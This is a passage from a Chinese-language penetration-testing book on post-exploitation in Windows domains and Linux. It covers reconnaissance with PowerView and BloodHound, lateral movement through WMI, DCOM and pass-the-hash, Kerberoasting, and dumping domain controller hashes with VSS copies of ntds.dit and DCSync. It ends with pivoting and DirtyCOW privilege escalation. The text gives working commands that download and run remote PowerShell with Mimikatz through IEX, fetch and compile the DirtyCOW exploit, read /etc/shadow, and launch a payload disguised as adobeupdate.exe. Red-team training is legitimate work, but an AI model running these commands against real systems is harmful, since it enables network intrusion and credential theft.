我们开始使用PowerView中的get_user脚本。Get_user查询指定域中特定用户或所有用户的信息，如图4.25所示。使用默认设置，我们可以转储有关域控制器中用户以及相关的所有信息。

模块：situational_awareness/network/powerview/get_user。

图4.25

在上面的转储中，可以看到其中一个用户Purri Gagarin的信息。我们得到了什么类型的信息？我们可以看到samaccountname用户名、密码更改的时间、对象类别是什么，以及他们是哪些组的成员和最后登录的时间等。通过这些基本用户信息转储，可以从目录服务中获取大量信息。我们还可以获得哪些其他类型的信息？

模块：situational_awareness/network/powerview/get_group_member。

Get_group_member返回特定组的成员，设置“Recurse”参数能够找到所有有效的组成员。我们可以使用活动目录查找某些组的特定用户。例如，通过以下Empire设置，我们可以搜索所有域管理员和属于域管理员组的分组，如图4.26所示。

info。

设置身份“域管理员”。

设置Recurse True。

设置FullData True。

执行。

图4.26

现在，我们获得一个用户、组、服务器和服务列表，这将帮助我们了解哪些用户具有哪些权限。但是，我们仍然需要有关工作站和系统的详细信息。信息中可能包括版本、创建日期、使用情况和主机名等。我们可以在使用get_computer命令时获取这些信息。

模块：situational_awareness/network/powerview/get_computer。

说明：get_computer模块查询域中计算机对象。

get_computer查询域控制器可以获得哪些信息？我们获取了机器、创建时间、DNS主机名和专有名称等信息。作为攻击者，一个有用的侦察信息是操作系统类型和操作系统版本。在这个例子中（见图4.27），我们可以看到操作系统是Windows 10，版本是Build 16299。我们获取了操作系统的相关信息，了解这个操作系统的最新状态，以及这个操作系统是否在微软公司的发布信息页面上发布了补丁信息。

图4.27

4.8.3　Bloodhound/Sharphound

我们如何利用从侦察阶段搜集到的所有信息，实现后续的渗透？我们如何快速地关联谁有权访问什么？回到之前，我们过去只是试图突破一切，以达到我们的目的，但这总是增加了被发现的可能性。

Andrew Robbins、Rohan Vazarkar和Will Schroeder开发了一种不错的关联工具，称为Bloodhound/Sharphound。在他们的GitHub页面中有下列介绍内容：“BloodHound使用图论来揭示活动目录环境中隐藏且经常无意识的关联。攻击者可以使用BloodHound轻松识别高度复杂的攻击路径，否则这样的路径很难发现。防御者可以使用BloodHound识别和找到这些攻击路径。蓝色团队和红色团队都可以使用BloodHound轻松且深入地了解活动目录环境中的权限关系。”

Bloodhound的工作原理是在被攻击者系统上运行Ingestor，然后查询活动目录（类似于我们之前手动执行的操作）中的用户、组和主机信息。然后，Ingestor将尝试连接到每个系统以枚举登录的用户、会话和权限。当然，在网络上这动作有点大。对于默认设置（可以修改）的中型、大型组织，使用Sharphound连接到每个主机系统和查询信息可能不到 10min。请注意，由于这涉及网络上每个加入域的系统，因此可能会被捕获。Bloodhound中有一个Stealth选项，它只查询活动目录并不连接到每个主机系统，但输出信息非常有限。

目前有两个不同的版本（其中我确定旧的版本很快就会删除）。

在Empire内部，您可以使用该模块。

usemodule situational_awareness/network/bloodhound

这仍然使用非常慢的旧PowerShell版本

更好的选择是Sharphound。Sharphound是原始Bloodhound Ingester的C＃版本，它更快、更稳定，可以用作独立二进制文件或作为PowerShell脚本导入。Sharphound PowerShell脚本使用reflection和assembly.load，将已编译的BloodHound C＃ingestor加载到内存。

运行Bloodhound/Sharphound Ingestor，您可能需要指定多个信息搜集方式。

Group，搜集组成员身份信息。

LocalGroup，搜集计算机的本地管理员信息。

Session，搜集计算机的会话信息。

SessionLoop，连续搜集会话信息直到退出。

Trusts，搜集域信任数据。

ACL，搜集ACL（访问控制列表）数据。

ComputerOnly，搜集本地管理员和会话数据。

GPOLocalGroup，使用GPO（组策略对象）搜集本地管理员信息。

LoggedOn，使用高权限（需要管理员！）搜集会话信息。

ObjectProps，搜集用户和计算机的节点属性信息。

Default，搜集组成员身份、本地管理员、会话和域信任。

在主机系统上运行Blood/Sharphound。

运行PowerShell，然后导入Bloodhound.ps1或SharpHound.ps1。

Invoke-Bloodhound -CollectionMethod Default

Invoke-Bloodhound -CollectionMethod ACL,ObjectProps,Default -CompressData -RemoveCSV -NoSaveCache

运行可执行文件。

SharpHound.exe -c Default,ACL,Session,LoggedOn,Trusts,Group

Bloundhound/Sharphound操作完成后，被攻击者系统上将生成4个文件。访问这些文件并复制到您的Kali设备。接下来，我们需要启动Neo4j服务器，导入这些数据，构建关联图。

启动Bloodhound过程如下。

（1）apt-get install bloodhound。

（2）neo4j console。

（3）打开浏览器，访问http://localhost:7474。

Connect to bolt://localhost:7687

Username: neo4j

Password: neo4j

Change Password

Password: New Password

（4）在终端运行Bloodhound。

bloodhound

Database URL: bolt://127.0.0.1:7687

Username: neo4j

Password: New Password

（5）加载数据。

右侧有“Upload Data”按键。

上传acls.csv、group_membership.csv、local_admin.csv和sessions.csv文件。

如果您没有域环境进行测试，我上传了4个Bloodhound文件（见https://github.com/ cyberspacekittens/bloodhound），以便您可以重复练习。一旦进入Bloodhound并导入了所有数据，我们就可以选择查询，查看“Find Shorted Paths to Domain Admins.”。我们还可以选择特定用户，查看是否可以将路径映射到特定用户或组。在这个例子中，我们突破的第一个设备是NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL。在搜索标签中，插入用户，单击“Pathfinding”按钮，然后输入“Domain Admin”（或任何其他用户），查看这些对象之间的规划路径，如图4.28所示。

图4.28

从Neil的机器上可以看出，我们可以一直迁移到CSK-Lab。进入实验设备，可以发现有一个名为Purri的用户，他是HelpDesk组的成员，如图4.29所示。

图4.29

如果可以突破HelpDesk组，我们可以迁移到Chris系统，发现Elon Muskkat最近登录过。如果可以迁移到他的进程或窃取他的明文密码，我们就可以升级为Domain Admin权限！

对于大型网络，我们注意到Bloodhound查询的限制和搜索问题。使用Neo4j的好处之一是允许通过Cypher语言进行原始查询。

我们可以添加哪些类型的自定义查询？@ porterhau5在扩展Bloodhound跟踪和可视化突破方面取得了一些重大进展。

从更高的层面来看，@porterhau5增加了突破主机标记，可以让攻击者更方便地在整个环境中进行迁移。例如，在假设的场景中，我们开展网络钓鱼攻击，获取第一个用户neil.pawstrong的信息。使用Bloodhound应用程序中的Cypher语言和Raw Query功能，我们可以进行以下查询。

将自有标记添加到突破系统。

MATCH (n) WHERE n.name="NEIL.PAWSTRONG@CYBERSPACEKITTENS. LOCAL"SET n.owned="phish", n.wave=1

运行查询，显示所有已被网络钓鱼的系统。

MATCH（n）WHERE n .owned ="phish"RETURN n

现在，我们可以向Bloodhound添加一些自定义查询。在Bloodhound的Queries选项卡中，滚动到底部，然后单击“Custom Queries”旁边的编辑按钮。然后，将所有文本替换为以下内容。

https://github.com/porterhau5/BloodHound-Owned/blob/master/customqueries.json

保存后，我们可以创建更多的查询。我们现在可以单击“Find Shortest Paths from owned node to Domain Admins”，如图4.30所示。

图4.30

如果您想更仔细地研究这个问题，可查看@ porterhau5的Bloodhound版本，它更加清晰地标记突破的计算机，并允许更多的自定义功能。

到目前为止，在没有扫描的情况下，我们已经能够获得有关该组织的大量信息，这都是本地活动目录用户（域用户）的权限，并且在大多数情况下，网络流量看起来很正常。如您所见，我们能够在不是本地管理员或不拥有本地系统任何管理权限的情况下完成所有这些操作。

高级ACL/ACE Bloodhound

当使用Bloodhound的Collection Method Access Control List（ACL）类型时，脚本将查询活动目录，搜集用户/对象的所有访问控制权限。我们从访问控制入口（ACES）搜集的信息描述了用户、组和计算机的允许和拒绝权限。查找和利用ACE本身就可以写一本完整的图书，下面是一些很好的学习资料。

BloodHound 1.3 - ACL攻击绘制配方。

https://wald0.com/?p=112

介绍对手持续攻击方法。

http://bit.ly/2GYU7S7

将ACL数据导入Bloodhound时，我们在寻找什么？Bloodhound识别ACE中可能存在弱点的区域，包括谁能够更改/重置密码、向组添加成员、为其他用户更新脚本路径、更新对象或在对象上写入新ACE等。

那么怎样利用这个功能？在突破设备并获得额外凭证时，我们可以查找路径，发现能够重置密码或修改ACE权限的用户。这将提出新的方法，查找域管理员或特权账户的路径，甚至是安装后门供后续行动使用。

4.8.4　横向移动——进程迁移

当主机存在多个用户时，通常的做法是生成令牌或在不同用户间迁移。这并不是什么新鲜事，但是多数是在一个环境内横向迁移。通常通过Bloodhound输出内容或共享工作站，作为攻击者，我们需要能够冒充被攻击者系统上的其他用户。

我们有很多工具可以实现上述功能。以Metasploit为例，我们都应该非常熟悉后陷身方法，可以实现令牌窃取。在Empire中，我们可以使用steal_tokens，冒充该系统上的用户。我注意到有时令牌劫持可能破坏自己的Shell。为了避免这种情况，我们可以在其他用户拥有的进程中，注入新代理。

在图4.31中，对运行恶意软件的员工，我们实施了网络钓鱼攻击。这允许我们在该被攻击者用户（neil.pawstrong）拥有的进程中运行。一旦进入该用户的主机，我们就迁移到Buzz Clawdrin系统，并使用WMI（Windows Management Instrumentation）生成一个新的代理。这里的问题是因为使用缓存凭证在Buzz的主机上生成Shell，所以我们仍然处于被攻击者neil.pawstrong的进程中。因此，我们应该使用Empire的psinject功能，而不是窃取令牌。

图4.31

Empire中的psinject具备的功能描述如下：“能够使用ReflectivePick将代理注入另一个进程，将.NET公共语言运行库加载到进程中，执行特定的PowerShell命令，所有这些都无须启动新的powershell.exe进程！”我们使用它来生成一个全新的代理，注入Buzz.Clawdrin进程中运行，这样我们就可以获得Buzz.Clawdrin的访问权限。

4.8.5　从您最初突破的主机开始横向移动

既然您已找到可能迁移的路径，有什么方式可以在这些系统实现代码的执行？基本的方法是使用当前活动目录用户的权限，获得对另一个系统的控制权。例如，一个经理具有访问其下属计算机的全部权限，在一个会议室/实验室的计算机上有多个用户具有管理员权限，内部系统配置错误，或者有人手动将用户添加到计算机本地管理员组，那么用户可以远程访问网络上其他工作站。在突破的计算机上，我们可以使用Bloodhound获取结果或者重新扫描网络，查找可以在本地访问的计算机。

Empire模块。

Metasploit模块。

Empire的find_localadmin_access模块向活动目录查询所有主机名，并尝试连接主机。这绝对是一个容易被检测的工具，因为它需要连接到每个主机并验证自己是否是本地管理员，如图4.32所示。

图4.32

我们可以看到，find_localadmin_access模块输出结果，确认突破的用户可以访问buzz.cyberspacekittens.local机器。这应该与运行Bloodhound的结果是一致的。为了仔细检查我们是否具有访问权限，我通常会执行非交互式远程命令，如dir \[remote system]\C$，并且查看对C驱动器是否具有读/写权限，如图4.33所示。

图4.33

在横向移动方面，有几种选项。让我们先来看看Empire等模块，因为它们是比较常见的（直接引用自Empire）。

inveigh_relay：Inveigh的SMB中继功能。这个模块可用于将传入的HTTP/代理NTLMv1/NTLMv2身份鉴权请求中继到SMB目标。如果身份鉴权成功且账户具有正确的权限，则在目标上以PSExec风格执行指定的命令或Empire启动程序。

invoke_executemsbuild：此函数使用MSBuild和内联任务在本地/远程主机上执行PowerShell命令。如果提供了凭证，则会在本地加载默认的管理员共享目录。此命令将在MSBuild.exe进程的上下文中执行，而无须启动PowerShell.exe。

invoke_psremoting：使用PSRemoting在远程主机上执行stager。只要被攻击者启用了PSRemoting（并非始终可用），我们就可以通过此服务执行PowerShell。

invoke_sqloscmd：使用xp_cmdshell在远程主机上执行命令或stager。'xp_cmdshell又回来了！

invoke_wmi：使用WMI在远程主机上执行stager。WMI几乎总是被启用，这是执行PowerShell静荷的好方法。

jenkins_script_console：将Empire代理部署到Windows Jenkins服务器中没有身份鉴权的脚本控制台。我们知道，Jenkins服务器通常没有启用鉴权，这意味着可以通过脚本实现远程代码执行。

invoke_dcom：通过DCOM上的MMC20.Application COM对象在远程主机上调用命令。允许我们在没有PsExec、WMI或PSRemoting的情况下进行迁移。

invoke_psexec：使用PsExec类型的功能在远程主机上执行stager。使用PsExec是一种老方法，复制文件并执行。这可能会引发警报，但如果没有其他方法可用的话，这仍然是一个很好的方法。

invoke_smbexec：使用SMBExec.ps在远程主机上执行stager。我们可以使用Samba工具进行类似的攻击，而不是使用PsExec。

invoke_sshcommand：通过SSH在远程主机上执行命令。

invoke_wmi_debugger：使用WMI将远程计算机上的目标二进制文件的调试器设置为cmd.exe或stager。使用sethc（粘滞键）等调试工具来执行我们的代理。

new_gpo_immediate_task：构建一个“立即”的schtask来推送指定的GPO。如果您的用户账户有权修改GPOS，则您可以推送一个“即时”计划任务GPO，这个编辑过的GPO生效后允许在系统中执行代码。

这些只是简单并且常用的横向移动技术。在本书的后续部分，我们将讨论一些新的方法突破目标。在大多数网络中，Windows Management Instrumentation（WMI）通常是启用的，因为WMI是管理工作站所必需的功能。因此，我们可以使用invoke_wmi横向移动。由于使用缓存凭证，并且账户可以访问远程主机，因此我们无须知道用户的凭证。

在远程系统上执行，如图4.34所示。

usemodule lateral_movement/invoke_wmi。

设置要攻击的计算机。

set ComputerName buzz.cyberspacekittens.local

定义使用的监听器。

set Listener http

远程连接到该主机并执行您的恶意软件。

execute

与新代理交互。

agents

interact <Agent Name>

sysinfo。

图4.34

4.8.6　使用DCOM横向移动

如果已经进入主机，那么有许多方法可以在主机上横向移动。如果突破的账户具有访问权限，或者您可以使用捕获的凭证创建令牌，那么我们可以使用WMI、PowerShell Remoting 或者 PsExec 等方法生成各种 Shell。如果这些方法被监控该怎么办？Windows 自带一些很不错的功能，我们可以利用其中的分布式组件对象模型（DCOM）功能。DCOM是Windows自带的功能，用于远程主机组件之间的通信。

您可以使用 PowerShell 命令 Get-CimInstance Win32_DCOMApplication 列出计算机的所有 DCOM 应用程序，如图 4.35 所示。

图4.35

根据@ enigma0x3的研究成果，他发现很多对象（如ShellBrowserWindow和ShellWindows）允许在被攻击者主机上远程执行代码。当列出所有的DCOM应用程序时，您将发现一个ShellBrowserWindow对象，其CLSID为C08AFD90-F2A1-11D1-8455- 00A0C91F3880。在发现这个对象后，只要账户允许访问，我们就可以利用这个功能在远程工作站上执行二进制文件。

powershell

$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","buzz.cyberspacekittens.local"))).Navigate ("c:\windows\system32\calc.exe")

这将在系统中执行本地可执行文件，并且不能在可执行文件中包含任何命令行参数（因此cmd/k样式的攻击不能执行）。当然，我们可以从远程系统调用文件并执行它们，但请注意，用户将弹出警告窗口。在这个例子中，我目前在被攻击者的主机neil.cyberspacekittens.local上，该主机具有buzz远程工作站的管理员访问权限。我们将在neil的工作站上共享一个文件夹，托管我们的恶意静荷。接下来，我们可以调用DCOM对象，在远程被攻击者（buzz）计算机上运行托管文件，如图4.36所示。

$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-
00A0C91F3880","buzz.cyberspacekittens.local"))).Navigate("\\neil.cyberspacekittens.local\Public\ adobeupdate.exe")

图4.36

如图4.37所示，buzz的机器上会弹出一个窗口，提示运行adobeupdate.exe文件。虽然大多数用户会单击并运行这个程序，但是也有可能攻击行为被发现。

图4.37

因此，避免被发现的方法是在DCOM执行文件之前，移动文件（类似于在被攻击者主机加载驱动器）。@ enigma0x3更进一步，使用Excel宏执行DCOM。首先，需要在自己的系统上创建恶意Excel文档，然后使用PowerShell脚本在被攻击主机上执行此XLS格式的文件。

需要注意的一点是，有许多其他DCOM对象可以从系统中获取信息、启动/停止服务等。这些资源肯定会为DCOM功能的其他研究提供很好的基础。

4.8.7　传递散列

本地管理员账户散列传递（PTH），虽然这种老的攻击方式在大部分场景中已经不起作用了，但是这种攻击方式并未彻底绝迹，我们快速回顾一下。散列传递攻击是指系统鉴权不使用用户的凭证，而是Windows NTLM散列进行身份验证。为什么这种攻击方式很重要？因为，散列可以使用Mimikatz这样的工具轻松恢复，可以从本地账户提取（但需要本地管理员访问权限），可以通过转储域控制器恢复（不是明文密码）以及其他方式。

散列传递攻击基本的用途是攻击本地管理员，但目前很难再发挥作用，因为默认情况下，本地管理员账户已被禁用，并且新的安全功能已开始应用，例如本地管理员密码解决方案（LAPS），它为每个工作站创建随机密码。在过去，在一个工作站上获取本地管理员账户的散列值，在整个组织中都是相同和适用的，这意味着突破一个工作站，就突破了整个公司。

当然，散列传递攻击发挥作用要求您必须是系统的本地管理员，即本地管理员账户“管理员”已启用，并且它是RID 500账户（这意味着必须是原始管理员账户，而不是新创建的本地管理员账户）。

Command: shell net user administrator
User name          Administrator
Full Name
Comment           Built-in account for administering the computer/domain
User's comment
Country/region code 000 (System Default)
Account active      Yes
Account expires      Never

如果我们看到该账户处于活动状态，那么可以尝试从本地计算机中提取所有散列值。记住，这不包括任何域用户的散列。

Empire Module: powershell/credentials/powerdump

Metasploit Module

例子如下。

(Empire: powershell/credentials/powerdump) > execute

Job started: 93Z8PE

输出如下。

Administrator:500:aad3b435b51404eeaad3b435b51404ee:3710b46790763e07 ab0d2b6cfc4470c1:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59 d7e0c089c0:::

我们可以使用Empire（credentials/mimikatz/pth）工具，或者启动可信工具PsExec，提交我们的散列值，然后执行我们的自定义静荷，如图4.38所示。

图4.38

如同上文所述，这是旧的横向移动攻击方式，目前已经很难找到适合的攻击条件。如果您仍然可以看到使用本地管理员账户的情况，但环境中启用了 LAPS（本地管理员密码解决方案）方案，那么您可以使用几种不同的工具从活动目录中提取散列值。这是在假设您已经拥有特权域管理员或帮助台类型账户的情况下。

4.8.8　从服务账户获取凭证

如果您发现获取的用户账户受限，无法从内存中获取密码，并且恰好没有在主机系统上获取密码，那么该怎么办？您接下来要做什么？好吧，我比较喜欢使用的一种攻击方法是Kerberoasting。

我们都知道，由于NTLM采用单向函数没有附带盐值，存在重放攻击和其他传统的问题，因此许多公司转而采用Kerberos。众所周知，Kerberos是一种用于验证计算机网络中服务请求的安全方法。我们不会深入研究Windows中Kerberos的实现方法。但是，您应该知道域控制器通常充当票证授予服务器；并且网络上的用户可以请求票证，从而获得资源的访问权限。

什么是Kerberoast攻击？作为攻击者，我们可以用之前提取的目标服务账户的任何SPN，请求Kerberos服务票证。该漏洞的存在有以下原因：当从域控制器请求服务票证时，该票证使用关联的服务用户的NTLM散列进行加密。由于任何用户都可以请求票证，因此这意味着如果可以猜中关联服务用户的NTLM散列（加密票证）的密码，那么我们就可以获得实际服务账户的密码。这听起来可能有点混乱，下面我们来看一个例子。

与之前的情况类似，我们可以列出所有 SPN 服务，提取这些服务账户所有的 Kerberos票证。

setspn -T cyberspacekittens.local -F -Q \*/\*

我们既可以针对单用户，又可以提取所有的Kerberos票证到用户内存中。

针对单用户。

powershell Add-Type -AssemblyName System.IdentityModel;
New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken- ArgumentList "HTTP/ CSK-GITHUB.cyberspacekittens.local"

提取所有的用户票证到内存中。

powershell Add-Type -AssemblyName System.IdentityModel; IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/nidem/kerberoast/ master/GetUserSPNs.ps1") | ForEach-Object {try{New-Object
System.IdentityModel.Tokens.KerberosRequestorSecurityToken-ArgumentList $_.ServicePrincipalName}catch{}}

当然，您也可以使用PowerSploit实现上述功能，如图4.39所示。

图4.39

如果成功，那么我们已将一个或多个不同的Kerberos票证导入到被攻击者计算机的内存中。我们现在需要一种提取票证的方法。要做到这一点，我们可以使用非常好用的功能——Mimikatz Kerberos Export，如图4.40所示。

powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString ('http://bit. ly/2qx4kuH'); Invoke-Mimikatz -Command '"""kerberos::list/export"""'

图4.40

在我们导出票证后，票证驻留在被攻击者的机器上。在开始破解票证之前，我们必须从被攻击者的系统中下载票证。记住，票证是使用服务账户的NTLM散列加密的。因此，如果可以猜到NTLM散列，我们就可以读取票证，同时也知道服务账户的密码。比较简单的破解账户的方法是使用名为tgsrepcrack的工具（JTR和Hashcat也支持破解Kerberoast，我们将很快讨论这个问题）。

使用Kerberoast破解票证。

cd /opt/kerberoast

python tgsrepcrack.py [password wordlist] [kirbi tickets - *.kirbi]

如图4.41所示，服务账户csk-github的密码是“P @ ssw0rd！”。

图4.41

当然，Empire中有一个PowerShell模块可以为我们完成几乎所有烦琐的工作。它位于powershell/credentials/invoke_kerberoast下，如图4.42所示。您可以以John the Ripper或者Hashcat格式输出，从而可以使用这两个工具破解密码。我以前在大的网络环境中运行PowerShell脚本时，遇到了一些问题，因此只能重新使用PowerShell和Mimikatz获取所有的票证。

图4.42

4.9　转储域控制器散列

一旦我们获得域管理员的访问权限，从域控制器获取所有散列的旧方法就是，在域控制器上运行命令，使用Shadow Volume或Raw复制方法，获得Ntds.dit文件。

回顾Shadow Volume复制方法

由于我们可以访问文件系统，并且可以在域控制器上运行命令，因此作为攻击者，我们可以获取存储在Ntds.dit文件中的所有域散列值。但是，该文件不断被读/写，即使拥有系统权限，我们也没有读取或复制该文件的机会。“幸运”的是，我们可以利用Windows功能——Volume Shadow复制服务（VSS），该功能可以创建卷的快照副本。然后，我们可以从该副本中读取Ntds.dit文件并将其从机器中取出。这包括窃取Ntds.dit、System、SAM和Boot Key文件。最后，我们需要消除痕迹并删除卷副本。

C:\vssadmin create shadow/for=C:

copy
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUM BER]
\windows\ntds\ntds.dit

copy
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUM BER]
\windows\system32\config\SYSTEM

copy
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUM BER]
\windows\system32\config\SAM

reg SAVE HKLM\SYSTEM c:\SYS

vssadmin delete shadows/for= [/oldest |/all |/shadow=]

1．NinjaCopy

NinjaCopy（http://bit.ly/2HpvKwj）是另一个获取散列值的工具，运行在域控制器，可以用来获取Ntds.dit文件。NinjaCopy通过读取原始卷，解析NTFS结构，并从NTFS分区卷复制文件。这会绕过文件DACL、读句柄锁和SACL检测。您必须是管理员才能运行脚本。这可用于读取系统被锁定的文件，例如NTDS.dit文件或注册表配置单元。

Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\windows\ temp\ ntds.dit"

2．DCSync

到目前为止，我们已经回顾了两个从域控制器获取散列值的旧方法，这两个方法的前提条件是您可以在域控制器上运行系统命令，并且通常在该机器上存储文件，下面我们将尝试新的方法。最近，由Benjamin Delpy和Vincent Le Toux提出的DCSync方法被多次提及，这个方法改变了域控制器导出散列的思路。DCSync实现的思路是劫持域控制器，请求该域中用户的所有散列值。仔细思考一下就会发现，这意味着，只要您具有权限，就不需要在域控制器上运行任何命令，也不必在域控制器上放置任何文件。

DCSync方法有效的前提是，必须拥有从域控制器中提取散列值的适当权限。通常仅限于域管理员、组织管理员、域控制器组以及具有将Replicating Changes设置为Allow（例如Replicating Changes All/Replicating Directory Changes）权限的用户，DCSync方法将允许您的用户执行此攻击。此攻击最初是在Mimikatz中实施的，可以使用以下命令进行。

Lsadump::dcsync/domain:[YOUR DOMAIN]
/user:[Account_to_Pull_Hashes]

更棒的是，PowerShell Empire集成了DCSync工具，因此使用更加方便。

Empire代码：powershell/credentials/mimikatz/dcsync_hashdump。

通过查看DCSync导出的散列值，如图4.43所示，我们找到了活动目录中用户的所有NTLM散列值。另外，我们拥有krbtgt NTLM散列，这意味着我们现在（或在后续的行动中）可以实施Golden Ticket攻击。

图4.43

4.10　在虚拟专用服务器上基于远程桌面进行横向迁移

在当今世界，计算机上运行着各种下一代杀毒软件，在计算机之间使用 WMI/PowerShell Remoting/PsExec 横向迁移并不总是最佳选择。我们还看到一些组织正在记录所有Windows命令操作。为了解决所有这些问题，我们有时需要使用基本功能，实现横向迁移。使用VPS服务器的问题在于它仅提供一个没有用户界面的Shell。因此，需要将路由/代理/转发流量从攻击者主机、虚拟专用服务器、突破的主机，横向转移到下一个突破的主机，如图4.44所示。“幸运”的是，我们可以使用原生工具来完成大部分工作。

我们需要设置虚拟专用服务器，启用端口接收互联网数据，使用 PTF 配置Metasploit，并使用Meterpreter控制初始突破主机。我们可以使用Cobalt Strike或其他框架来完成此操作，但在这个例子中我们将使用Meterpreter。

我们可以使用默认的SSH客户端-L选项，实现本地端口转发。我使用的是macOS操作系统，但这也可以在Windows或Linux操作系统中完成。我们使用SSH工具和密钥连接到虚拟专用主机。我们还将在攻击主机上配置本地端口，在本例中为3389（RDP），实现该端口的任何流量转发到虚拟专用服务器。当该端口的流量转发到虚拟专用服务器时，该流量发送到虚拟专用服务器上本地的端口3389。最后，我们需要设置一个端口，监听虚拟专用服务器3389端口，并使用Meterpreter的端口转发功能，将流量路由到被攻击者的主机。

图4.44

（1）用Meterpreter静荷感染被攻击者。

（2）攻击者主机使用SSH工具，设置本地端口转发（在本地侦听端口3389），将所有流量发送到虚拟专用服务器的本地3389端口。

ssh -i key.pem ubuntu @ [VPS IP] -L 127.0.0.1:3389:127.0.0.1:3389

（3）在Meterpreter会话中，监听虚拟专用服务器的3389端口，转发流量从突破的主机横向迁移到下一个突破的主机。

portfwd add -l 3389 -p 3389 -r [Victim via RDP IP Address]

（4）在攻击者主机上，打开微软的远程桌面客户端，将连接地址设置为localhost，即127.0.0.1并输入被攻击者的凭证，实现RDP连接，如图4.45所示。

图4.45

4.11　在Linux中实现迁移

多年来，在Linux中实现迁移并没有太大的改变。通常，如果您使用的是dnscat2或Meterpreter，那么它们都支持数据转发。

dnscat2。

listen 127.0.0.1:9999 <target_IP>:22

Metasploit。

post/windows/manage/autoroute

Metasploit Socks Proxy + Proxychains。

use auxiliary/server/socks4a

Meterpreter。

portfwd add -l 3389 -p 3389 -r <target_IP>

如果您很“幸运”地获得了 SSH Shell，那么可以通过多种方式在系统中进行迁移。我们如何获得SSH Shell？在许多情况下，一旦存在本地文件包含（LFI）或远程执行代码（RCE）漏洞，我们就可以尝试提升权限，读取/etc/shadow文件（密码破解），或者采用类似Mimikatz的攻击。

就像Windows和Mimikatz一样，Linux系统同样遇到了以明文形式存储密码的问题。@huntergregal编写的工具实现特定进程内容的转储，这些进程很可能以明文形式包含用户密码，如图4.46所示。到目前为止，虽然这个工具仅适用于有限数量的Linux系统，但是思路却适合所有的Linux系统。

图4.46

一旦从突破的主机上获得凭证，并且可以通过SSH工具实现重新登录，我们就可以在设备间建立隧道并进行迁移。SSH中有一些很棒的功能，允许执行这种迁移。

设置Dynamic Sock Proxy，使用proxychains，从主机迁移所有流量。

ssh -D 127.0.0.1:8888 -p 22 <user>@<Target_IP>

单个端口的基本端口转移。

ssh <user>@<Target_IP> -L 127.0.0.1:55555:<Target_to_Pivot_to>:80

基于SSH的虚拟专用网络。这是一个很棒的功能，通过SSH建立第三层隧道。

4.12　权限提升

Linux 权限提升的方法绝大部分类似于Windows。我们查找存在漏洞的服务，例如可以写入文件、错误配置粘滞位、文件中的明文密码、全局可写文件、定时任务，当然还有补丁问题。

为了有效和高效地分析Linux设备权限提升的问题，可以使用一些工具完成所有的工作。

在进行任何类型的权限提升漏洞挖掘之前，首先了解Linux主机和系统的所有信息，包括用户、服务、定时任务、软件版本、弱凭证、错误配置的文件权限，甚至是Docker信息。我们可以使用一个名为LinEnum的工具完成所有琐碎的工作，如图4.47所示。

图4.47

这是一份非常详细的分析报告，涉及您想要了解的所有关于底层系统的信息，对于后面的行动非常有帮助。

在获得系统的信息后，我们会尝试利用这些漏洞。如果在服务和定时任务中找不到任何粘滞位漏洞或错误配置漏洞，那么我们会查找系统/应用程序的漏洞。我尝试发现漏洞，最终总是有可能突破的设备。

我们可以运行一个名为inux-exploit-suggester的工具，分析主机系统，识别未打的补丁和存在的漏洞。一旦发现漏洞，该工具还将提供PoC漏洞利用工具的链接，如图4.48所示。

图4.48

现在，我们还要寻找什么漏洞？这时实践经验就真正发挥作用了。在我的“实验室”中，我配置大量不同的Linux版本，验证这些漏洞是否会导致底层系统崩溃。在这个场景中，我最愿意研究的漏洞之一是DirtyCOW。

DirtyCOW漏洞的描述：Linux内核的内存子系统在处理写入只读私有映射地址时，出现了资源竞争。非特权本地用户利用这个漏洞，获取对其他只读内存映射的写访问权，从而实现了权限提升。

简而言之，此漏洞允许攻击者通过内核漏洞，从非特权用户提升到root用户。这是我们想要实现的权限提升方式！但问题是，这种方式容易引起内核崩溃，因此必须确保在正确的Linux内核上使用正确的工具版本。

在Ubuntu中测试DirtyCOW（ubuntu 14.04.1 LTS 3.13.0-32-generic x86_64）。

下载DirtyCOW静荷。

wget http://bit.ly/2vdh2Ub -O dirtycow-mem.c

编译DirtyCOW静荷。

gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread

运行DirtyCOW获取系统权限。

./dirtycow-mem

关闭定期回写机制，确保漏洞稳定性。

echo 0 >/proc/sys/vm/dirty_writeback_centisecs

尝试读取shadow文件。

cat /etc/shadow

4.13　Linux横向迁移实验室

横向迁移的问题在于，如果没有搭建迁移的网络环境，则很难进行练习。因此，我们将为您介绍网络空间猫安全实验室。在这个实验室中，您可以在设备之间进行迁移，使用最新的漏洞进行权限提升攻击，所有操作均在Linux环境中完成。

搭建虚拟环境

虚拟环境实验室的设置稍微复杂一些，这是因为网络需要运行3个不同的静态虚拟机，并且需要进行一些提前的设置。所有这些都在VMWare Workstation和VMware Fusion环境中进行了测试，因此，如果您使用的是VirtualBox，则可能需要先进行测试。

下载3台虚拟机。

虽然您不需要这些设备的root账户，但这里给出用户名/密码：hacker/changeme。

所有这 3 个虚拟机都配置为使用NAT网络接口。要使此实验室正常工作，您必须在VMWare中配置虚拟机的NAT设置，使用172.16.250.0/24网络。注意，需要在Windows VMWare Workstation中执行此操作。

在菜单栏中，转到编辑→虚拟网络编辑器→更改设置。

选择NAT类型的接口（我的是VMnet8）。

更改子网IP 172.16.250.0并单击申请。

在macOS操作系统中，设置更为复杂，您需要执行以下步骤。

复制原始dhcpd.conf，作为备份。

sudo cp /Library/Preferences/VMware\Fusion/vmnet8/dhcpd.conf/Library/ Preferences/ VMware\Fusion/vmnet8/dhcpd.conf.bakup

编辑dhcpd.conf文件，使用172.16.250.x而不是192.168.x.x.网络。

sudo vi /Library/Preferences/VMware\Fusion/vmnet8/dhcpd.conf

编辑nat.conf，使用正确的网关。

sudo vi /Library/Preferences/VMware \ Fusion/vmnet8/nat.conf

# NAT gateway address

ip= 172.16.250.2

